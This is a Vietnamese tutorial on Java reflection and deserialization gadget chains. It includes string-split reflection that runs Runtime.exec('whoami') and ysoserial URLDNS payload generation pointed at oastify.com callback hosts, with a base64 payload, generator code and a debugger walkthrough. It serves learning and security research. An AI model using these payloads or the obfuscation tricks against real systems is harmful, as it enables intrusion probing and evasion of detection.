Reflection đây là một API cho phép thay đổi giá trị của các thuộc tính trong quá trình Runtime, nó thường được dùng để set giá trị cho các private properties của classMột đoạn code Reflection thể hiện việc thay đổi thuộc tính của một class:
import java.lang.reflect.Field;
class User {
public String name;
private boolean isAdmin = false;
public User(String name) {
this.name = name;
}
public boolean isAdmin() {
return isAdmin;
}
}
public class reflection {
public static void main(String[] args) throws IllegalAccessException {
User a = new User("endy");
Field f = null;
try {
f = a.getClass().getDeclaredField("isAdmin");
f.setAccessible(true);
f.set(a, true);
}
catch (NoSuchFieldException e) {
throw new RuntimeException(e);
}
System.out.println(a.isAdmin());
}
}

Reference:
class java.lang.Class là một entry point của mọi thao tác của reflection API.
java.lang.Class là cha của mọi class trong Java.import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.InvocationTargetException;
public class Main {
public static void main(String[] args) throws IOException {
System.out.println("Hello world!");
try {
// Process process = Runtime.getRuntime().exec("whoami");
Process process = (Process) String.class.getClass()
.forName("java.l" + "ang.Ru" + "ntime")
.getMethod("ex" + "ec", String.class)
.invoke(
String.class.getClass()
.forName("java.l" + "ang.Ru" + "ntime")
.getMethod("getRu" + "ntime")
.invoke(
String.class.getClass()
.forName("java.l" + "ang.Ru" + "ntime")),
"whoami");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
System.out.println(reader.readLine());
} catch (Exception e) {
e.printStackTrace();
}
}
}
| Cách viết | Ý nghĩa | Trả về |
|---|---|---|
someObject.getClass() |
Lấy class runtime của một object cụ thể | Class<?> |
SomeType.class |
Lấy class của một kiểu cụ thể tại compile-time | Class<SomeType> |
Quay lại source code quan sát dòng 11 String.class nó sẽ trả về Object của class **java.lang.String**
Sau đó chúng ta sử dụng method Object.getClass() để lấy Object của class **java.lang.Class**
Java reflection rất linh động nên mình không muốn các bạn bị bó buộc vào 1 way, ví dụ chúng ta không nhất thiết phải đi đến entrypoint bằng String.class.getClass(), bạn hoàn toàn có thể đạt được nó bằng cách sử dụng “a”.getClass().getClass()
Chúng ta có thể sử dụng method .forName để thực hiện lấy ra class từ một chuỗi.

Method.invoke(obj, args) cho phép gọi bất kỳ phương thức nào bằng Java reflection, dùng trong các framework, inject runtime, hoặc các công cụ debug/hack.
Thực hiện review đoạn code sau:
String.class.getClass()
.forName("java.l" + "ang.Ru" + "ntime")
.getMethod("getRu" + "ntime")
.invoke(
String.class.getClass()
.forName("java.l" + "ang.Ru" + "ntime")
);
Chúng ta có thể hiểu đơn giản như sau:
String.class.getClass()
.forName("java.l" + "ang.Ru" + "ntime")
.getMethod("getRu" + "ntime")
.invoke(
String.class.getClass()
.forName("java.l" + "ang.Ru" + "ntime")
);
String.class.getClass() // kết quả là Class.class (vô nghĩa ở đây)
String.class → là Class<String>.getClass() → là Class<Class<String>>.forName("java.lang.Runtime")
java.lang.Runtime bằng reflection.getMethod("getRuntime")
Method đại diện cho hàm public static Runtime getRuntime()..invoke(...)
Runtime.getRuntime() bằng reflection.String.class.getClass()
.forName("java.lang.Runtime")
Class<Runtime> → dùng làm null vì getRuntime() là phương thức static.null hoặc Class đó, kết quả như nhau với static method.Chúng ta sẽ bắt đầu với ysoserial để thực hiện tạo ra một getchain urldns:
java -jar ysoserial-all.jar URLDNS "<http://2ilsbxuzqilyhcldvytrfbzzwq2hq7ew.oastify.com>" > payload.ser
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\\Users\\asus\\Downloads\\payload.ser"))
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDJpbHNieHV6cWlseWhjbGR2eXRyZmJ6endxMmhxN2V3Lm9hc3RpZnkuY29tdAAAcQB+AAV0AARodHRwcHh0ADNodHRwOi8vMmlsc2J4dXpxaWx5aGNsZHZ5dHJmYnp6d3EyaHE3ZXcub2FzdGlmeS5jb214
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import java.util.HashMap;
public class DeserializeFromBase64 {
public static Object deserialize(byte[] data) throws Exception {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
return ois.readObject();
}
}
public static void main(String[] args) throws Exception {
String base64Payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDJpbHNieHV6cWlseWhjbGR2eXRyZmJ6endxMmhxN2V3Lm9hc3RpZnkuY29tdAAAcQB+AAV0AARodHRwcHh0ADNodHRwOi8vMmlsc2J4dXpxaWx5aGNsZHZ5dHJmYnp6d3EyaHE3ZXcub2FzdGlmeS5jb214";
byte[] serializedData = Base64.getDecoder().decode(base64Payload);
Object result = deserialize(serializedData);
System.out.println("Deserialized: " + result.getClass());
}
}
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLStreamHandler;
import java.util.Base64;
import java.util.HashMap;
public class URLDNSGeneratorBase64 {
public static void main(String[] args) throws Exception {
String url = "<http://0bcnzeqnaugaoprf4srd6nes2j8aw0kp.oastify.com>";
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<Object, Object> ht = new HashMap<>();
URL u = new URL(null, url, handler);
ht.put(u, url);
setFieldValue(u, "hashCode", -1);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
out.writeObject(ht);
}
byte[] serializedData = baos.toByteArray();
String base64Payload = Base64.getEncoder().encodeToString(serializedData);
System.out.println("Base64 payload:");
System.out.println(base64Payload);
try (FileOutputStream fos = new FileOutputStream("payload.ser")) {
fos.write(serializedData);
}
System.out.println("Serialized payload written to payload.ser");
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
static class SilentURLStreamHandler extends URLStreamHandler implements Serializable {
protected java.net.URLConnection openConnection(URL u) throws IOException {
return null;
}
}
}
Sơ đồ gadgetchain là như sau:
HashMap.readObject()
->HashMap.putVal()
->HashMap.hash()
->URL.hashCode()
Nhìn theo gadgetchain thầy rằng sau khi deserialization sẽ gọi đến hàm readObject() của class HashMap. Thực hiện tiếp tục debug.

Tại method readObject của Hashmap, nó sẽ loop qua từng key của hashmap và thực hiện putVal(hash(key))

Thực hiện debug ta thấy rằng key ở đây là một object của url:

Tiếp tục đi vào method hashCode của class URL:


Method này sẽ kiểm tra giá trị của property hashCode có khác -1 hay không, nếu khác thì tiếp tục gọi đến handler.hasCode() còn nếu không thì gadgetchain của ta bị gãy từ đây.
Hệ thống sẽ kiểm tra hashCode ≠ -1 nhưng ở thuộc tínhhashCode của class URL đã set default là -1. Vậy làm cách nào chúng ta có thể bypass. Vận dụng những kiến thực Reflection trong java chúng ta đã học ở trên thì chúng ta có thể thao tác thuộc tính private. setFieldValue(u, "hashCode", -1);

Tiếp tục đến hàm hashCode = handler.hashCode(this);.handler này là class của object URLStreamHandler. Thực hiện nhảy vào hàm hashCode của class URLStreamHandler:

Thấy rằng hàm getHostAddress đã thực hiện gọi DNS thành công. Và chúng ta đã đi được thành công getchain URLDNS.
HashMap.readObject()
->HashMap.putVal()
->HashMap.hash()
->URL.hashCode()
->URLStreamHandler.getHostAddress()
->InetAddress.getByName()